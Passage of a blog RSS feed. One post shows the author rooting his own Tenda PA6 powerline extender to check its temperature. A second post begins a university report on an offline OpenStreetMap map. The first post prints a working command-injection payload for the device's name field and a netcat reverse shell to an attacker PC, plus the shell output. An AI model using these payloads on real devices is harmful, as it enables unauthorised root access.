sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-pa6_hu_3a9a3ff814d07f0.jpg'
width="4624"
height="3472"
alt='My Tenda PA6 in the attic'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;So I have a little Tenda PA6 Powerline/HomePlug WiFi extender that I use as an additional WAP in the attic room of my house. This room has been getting very hot recently (around 35 °C), and when I touch the device it feels to be at least 60 °C. Tenda&amp;rsquo;s website says that the PA6 can operate in temperatures up to 40 °C, but I wanted to see if I could get some temperature readings out of the device to see how hot it is actually getting.&lt;/p&gt;
&lt;p&gt;What I should have done here is buying an infrared thermometer, but where is the fun in that?&lt;/p&gt;
&lt;p&gt;Conveniently for me, some security researchers from IBM have already made a &lt;a href="https://securityintelligence.com/posts/vulnerable-powerline-extenders-underline-lax-iot-security/"
target="_blank" rel="noreferrer noopener"
&gt;pretty comprehensive write-up&lt;/a&gt; of all the holes in the PA6. In typical vendor fashion, Tenda have not fixed any of these issues in the 3 years since they published the article. The researchers provide 3 exploits for the device, an authed Command Injection, an authed Buffer Overflow, and a pre-auth DoS. As I have the admin password (the default is &lt;code&gt;admin&lt;/code&gt; 🤦), I decided to go with the Command Injection, which I figured would be the easiest to exploit.&lt;/p&gt;
&lt;figure&gt;
&lt;a href='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_52798549be47e8dc.webp'&gt;
&lt;picture&gt;
&lt;source
type="image/webp"
srcset="https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_5cd1340dd144b29a.webp 320w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_9312b127fb8f61e9.webp 640w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_a37c9f77fb1d50d2.webp 960w, https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_ea5da71df8bbb1af.webp 1280w"
sizes="(max-width: 600px) 100vw, 600px"
/&gt;
&lt;img
style=""
src='https://george.honeywood.org.uk/blog/tenda-pa6/images/tenda-powerline-settings_hu_69f0b98f9d8ffe09.jpg'
width="1555"
height="804"
loading="lazy"
alt='Screenshot of the Powerline settings page on the Tenda PA6'
/&gt;
&lt;/picture&gt;
&lt;/a&gt;
&lt;/figure&gt;
&lt;p&gt;The Command Injection issue is as basic as it gets. On the device&amp;rsquo;s powerline settings page, you can change the names of the other PLCs on the network. Unfortunately, this name change is done by simply &lt;code&gt;sprintf&lt;/code&gt;&amp;lsquo;ing the raw user input into a string, which is then executed as a command on the system, as root. This means you just need to put a little &lt;code&gt;&amp;quot; ;&lt;/code&gt; in your chosen name, and then you can run any command present on the device. The security researchers don&amp;rsquo;t quite spell out how to exploit this, but even I managed it after a few hours of head scratching.&lt;/p&gt;
&lt;p&gt;Conveniently, the PA6 has BusyBox installed, which has a &lt;code&gt;netcat&lt;/code&gt; binary for us to use &amp;mdash; I found out about this from a &lt;a href="https://gist.github.com/Weissnix4711/eeb54186469d313d07ffb44d00344a3f"
target="_blank" rel="noreferrer noopener"
&gt;GitHub gist&lt;/a&gt; listing all the files in the firmware image. As I wanted a shell on the PA6, we can use &lt;code&gt;netcat&lt;/code&gt; to pipe a shell session over a TCP socket back to my attacker PC (a reverse shell).&lt;/p&gt;
&lt;p&gt;To do this you first need to spin up a &lt;code&gt;netcat&lt;/code&gt; listener on your attacker PC, which will listen for incoming connections. I did this with &lt;code&gt;nc -lvp 4444&lt;/code&gt;. Note in this example my attacker PC has the IP address &lt;code&gt;192.168.1.100&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then we begin to work on the PA6, pasting our commands into one of the PLC device name fields. The version of &lt;code&gt;nc&lt;/code&gt; on the PA6 doesn&amp;rsquo;t have the convenient &lt;code&gt;-e&lt;/code&gt; option that handles executing a command for you, so instead we have to do a dance with a named FIFO pipe &lt;sup id="fnref:1"&gt;&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref"&gt;1&lt;/a&gt;&lt;/sup&gt;. You first paste in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a&lt;span style="color:#e6db74"&gt;&amp;#34; ; mknod /tmp/f p #
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here &lt;code&gt;a&lt;/code&gt; is just a placeholder name. You can then set up the reverse shell by pasting the following into the same field &lt;sup id="fnref:2"&gt;&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref"&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;a&lt;span style="color:#e6db74"&gt;&amp;#34; ; cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 192.168.1.100 4444 &amp;gt;/tmp/f #
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What we are doing here is passing whatever comes out of the &lt;code&gt;/tmp/f&lt;/code&gt; pipe into the &lt;code&gt;stdin&lt;/code&gt; of the shell. We then pipe the &lt;code&gt;stdout&lt;/code&gt; and &lt;code&gt;stderr&lt;/code&gt; of the shell into &lt;code&gt;netcat&lt;/code&gt;, which will send it back to our attacker PC. Finally, we redirect the &lt;code&gt;stdout&lt;/code&gt; of &lt;code&gt;netcat&lt;/code&gt; (which is whatever commands we input on the attacker PC), back into the &lt;code&gt;/tmp/f&lt;/code&gt; pipe. This gives us a poor man&amp;rsquo;s SSH session on the PA6.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netcat&lt;/code&gt; on your attacker PC should then print some message like:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ncat: Connection from 192.168.1.XX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ncat: Connection from 192.168.1.XX:XXXXX.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BusyBox v1.17.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;2018-01-22 01:08:54 CST&lt;span style="color:#f92672"&gt;)&lt;/span&gt; built-in shell &lt;span style="color:#f92672"&gt;(&lt;/span&gt;ash&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Enter &lt;span style="color:#e6db74"&gt;&amp;#39;help&amp;#39;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; a list of built-in commands.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now you can explore! Here is &lt;code&gt;/proc/cpuinfo&lt;/code&gt;, (some of) &lt;code&gt;/proc/meminfo&lt;/code&gt; and &lt;code&gt;/proc/version&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/cpuinfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;system type : 960500WIFI_P201
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;processor : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cpu model : Broadcom BMIPS3300 V3.3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BogoMIPS : 397.31
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wait instruction : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;microsecond timers : yes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;tlb_entries : &lt;span style="color:#ae81ff"&gt;32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;extra interrupt vector : no
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hardware watchpoint : no
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ASEs implemented :
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;shadow register sets : &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;kscratch registers : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;core : &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VCED exceptions : not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VCEI exceptions : not available
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/meminfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MemTotal: &lt;span style="color:#ae81ff"&gt;29468&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MemFree: &lt;span style="color:#ae81ff"&gt;1288&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Buffers: &lt;span style="color:#ae81ff"&gt;700&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Cached: &lt;span style="color:#ae81ff"&gt;3808&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SwapCached: &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Active: &lt;span style="color:#ae81ff"&gt;5680&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Inactive: &lt;span style="color:#ae81ff"&gt;2028&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;[&lt;/span&gt;...&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocTotal: &lt;span style="color:#ae81ff"&gt;1032116&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocUsed: &lt;span style="color:#ae81ff"&gt;2784&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;VmallocChunk: &lt;span style="color:#ae81ff"&gt;1025180&lt;/span&gt; kB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# cat /proc/version&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Linux version 3.4.11-rt19 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;root@localhost.localdomain&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;(&lt;/span&gt;gcc version 4.6.2 &lt;span style="color:#f92672"&gt;(&lt;/span&gt;Buildroot 2011.11&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;)&lt;/span&gt; &lt;span style="color:#75715e"&gt;#1 PREEMPT Mon Jan 22 01:07:36 CST 2018&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A whole 32 MB of RAM! Here is &lt;code&gt;top&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Mem: 28240K used, 1228K free, 0K shrd, 740K buff, 3816K cached
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CPU: 0% usr 5% sys 0% nic 93% idle 0% io 0% irq 0% sirq
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Load average: 0.84 0.78 0.78 1/47 &lt;span style="color:#ae81ff"&gt;17193&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; PID PPID USER STAT VSZ %MEM CPU %CPU COMMAND
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;250&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; admin SW &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 5% &lt;span style="color:#f92672"&gt;[&lt;/span&gt;wl0-kthrd&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;217&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; admin SW &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 1% &lt;span style="color:#f92672"&gt;[&lt;/span&gt;bcmsw_rx&lt;span style="color:#f92672"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;17147&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15971&lt;/span&gt; admin R &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% top
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;588&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;5348&lt;/span&gt; 18% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% httpd -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;415&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;422&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;421&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;421&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;415&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;4704&lt;/span&gt; 16% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% wlmngr -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;418&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3888&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% homeplugd -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;295&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3848&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% ssk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;420&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;419&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3784&lt;/span&gt; 13% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% consoled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3504&lt;/span&gt; 12% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/smd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;416&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;3428&lt;/span&gt; 12% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% plcnvm -m &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;543&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1948&lt;/span&gt; 7% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/nas
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;310&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;294&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1764&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% syslogd -n -C -l &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;565&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/acsd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15971&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1712&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% /bin/sh -i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% init
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;588&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% sh -c homeplugctl remote_set --rem
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ae81ff"&gt;419&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1708&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% -/bin/sh -l -c consoled
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;15972&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;15966&lt;/span&gt; admin S &lt;span style="color:#ae81ff"&gt;1704&lt;/span&gt; 6% &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; 0% nc 192.168.1.100 &lt;span style="color:#ae81ff"&gt;4444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Unfortunately, I couldn&amp;rsquo;t actually find any way of reading any temperature sensors on the device. I tried looking in &lt;code&gt;/sys/class/thermal&lt;/code&gt;, and a couple of other places, but nothing seemed to present itself. Presumably this SOC just doesn&amp;rsquo;t have any temperature sensors.&lt;/p&gt;
&lt;div class="footnotes" role="doc-endnotes"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The PA6 uses a very old version of BusyBox, v1.17.2, which was released in August 2010. Weirdly it was compiled 8 years later, on &lt;code&gt;2018-01-22 01:08:54&lt;/code&gt;. From digging in the source code, it seems the &lt;code&gt;-e&lt;/code&gt; switch was available in BusyBox v1.17.2&amp;rsquo;s &lt;code&gt;nc&lt;/code&gt;, but it seems to have been compiled without the &lt;code&gt;NC_EXTRA&lt;/code&gt; option.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;You&amp;rsquo;d normally do this in a single step, but this field only accepts 63 characters. I&amp;rsquo;m assuming this is just a client side limit, so you could probably sidestep it by sending the request with &lt;code&gt;curl&lt;/code&gt; or something.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink"&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description></item><item><title>OSMO: Uni Final Year Project formal report</title><link>https://george.honeywood.org.uk/blog/uni-final-year-project/</link><pubDate>Tue, 04 Jul 2023 12:19:09 +0000</pubDate><guid>https://george.honeywood.org.uk/blog/uni-final-year-project/</guid><description>
&lt;h2&gt;Preamble&lt;/h2&gt;
&lt;p&gt;This is the formal report I produced as part of the final year of my B.Sc. Computer Science degree at Royal Holloway, University of London. I previously published a summary here: &lt;a href="https://george.honeywood.org.uk/blog/map-from-the-ground-up/"&gt;Building an offline web map&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Orignally this document was prepared using LaTeX. The version you are viewing was converted with &lt;code&gt;pandoc&lt;/code&gt; from LaTeX into Typst, then manually fixed up. The Typst HTML output was then baked into this website as described in &lt;a href="https://george.honeywood.org.uk/blog/typst-and-hugo-properly/"&gt;Proper Hugo Typst support&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Here’s a list things I had to fixup manually. Some of this these things could have been caught by improved pandoc conversion — other bits are just because of my custom Hugo rendering setup:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Converting Typst style images to use the Hugo shortcodes &lt;code&gt;{{&amp;lt; image path="path.png" alt="My picture" &gt;}}&lt;/code&gt; – by default Typst will bake a base64 version of the image into the HTML&lt;/li&gt;
&lt;li&gt;Setting the code block languages&lt;/li&gt;
&lt;li&gt;Fixing some citations that were textual instead of numeric&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are some outstanding issues with conversion:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Typst doesn’t have built in support for references to list items yet, so you’ll find some messy looking links scattered around.&lt;/li&gt;
&lt;li&gt;The footnotes look a little wonky&lt;/li&gt;
&lt;li&gt;All images are full-width&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can view the original &lt;a href="https://github.com/GeorgeHoneywood/final-year-project/files/11584765/george-honeywood-final-report.pdf"&gt;PDF report here&lt;/a&gt;, and the code is available on &lt;a href="https://github.com/GeorgeHoneywood/final-year-project"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The OpenStreetMap project began in 2004, with the aim of creating a free world map &lt;a id="loc-1" href="#loc-101" role="doc-biblioref"&gt;[1]&lt;/a&gt;. Since then, it has met and surpassed its goals, becoming a mature, global dataset, edited by both volunteers and corporations alike. As of late 2022, an average of 6,000 contributors edit the map daily, with more than 9 million registered in total &lt;a id="loc-2" href="#loc-102" role="doc-biblioref"&gt;[2]&lt;/a&gt;. In contrast to how cartography is traditionally carried out, OSM contributors tend to not use any specialized equipment, instead using tools like GPS and aerial imagery to create the map. The barrier of entry is low by design, making it easy for new mappers to get started. This sometimes results in inaccurate, or even vandalistic edits being made, but the community usually spots and reverts bad edits quickly.&lt;/p&gt;
&lt;p&gt;I have personally been involved in the OpenStreetMap project since creating an account in May 2019. This was initially as I was using an OSM based map, and noticed that a new-build estate near my house was missing. Hence, &lt;a href="https://www.openstreetmap.org/changeset/70609319"&gt;I added it&lt;/a&gt;, and this led me down the rabbit hole of wanting to add all the missing features around me. Since then, I have been a regular contributor, with currently almost &lt;a href="https://www.openstreetmap.org/user/GeorgeHoneywood"&gt;2,000 changesets&lt;/a&gt; made over 341 separate days. I have also made some code contributions to the Every Door mobile editor, principally adding support for viewing the history of elements &lt;a id="loc-3" href="#loc-103" role="doc-biblioref"&gt;[3]&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Although online OpenStreetMap-based web maps are very popular, offline maps are much less of an explored field. On the Android platform, you have a few options for offline maps, such as the venerable OsmAnd &lt;a id="loc-4" href="#loc-104" role="doc-biblioref"&gt;[4]&lt;/a&gt;, Organic Maps (FOSS fork of Maps.me &lt;a id="loc-5" href="#loc-105" role="doc-biblioref"&gt;[5]&lt;/a&gt;), and the proprietary Magic Earth &lt;a id="loc-6" href="#loc-106" role="doc-biblioref"&gt;[6]&lt;/a&gt;. On desktop, the available options are more sparse. KDE Marble is one option &lt;a id="loc-7" href="#loc-107" role="doc-biblioref"&gt;[7]&lt;/a&gt;, but it seems like the offline experience is an afterthought. It allows you to download pre-rendered Mapnik Carto style tiles, but this is limited to above zoom level 16, so fine details are not visible (&lt;a href="https://openstreetmap.org"&gt;openstreetmap.org&lt;/a&gt; renders tiles down to zoom level 19).&lt;/p&gt;
&lt;p&gt;This approach of downloading rendered raster tiles is also not very scalable, as there quickly becomes a huge number of images that need to be downloaded, and these images take up significant storage space. For example, I attempted to download the tiles for Cornwall, UK, in KDE Marble, and it would have had to fetch 58,928 tiles just for between zoom levels 11 and 16, equating to an estimated download size of 749 MB. This method is also explicitly prohibited by the OpenStreetMap Foundation’s Tile Usage Policy, which states that “In particular, downloading an area of over 250 tiles at zoom level 13 or higher for offline or later usage is forbidden.” &lt;a id="loc-8" href="#loc-108" role="doc-biblioref"&gt;[8]&lt;/a&gt;. This is because rendering map tiles is computationally expensive, and the OSMF is run with a limited budget.&lt;/p&gt;
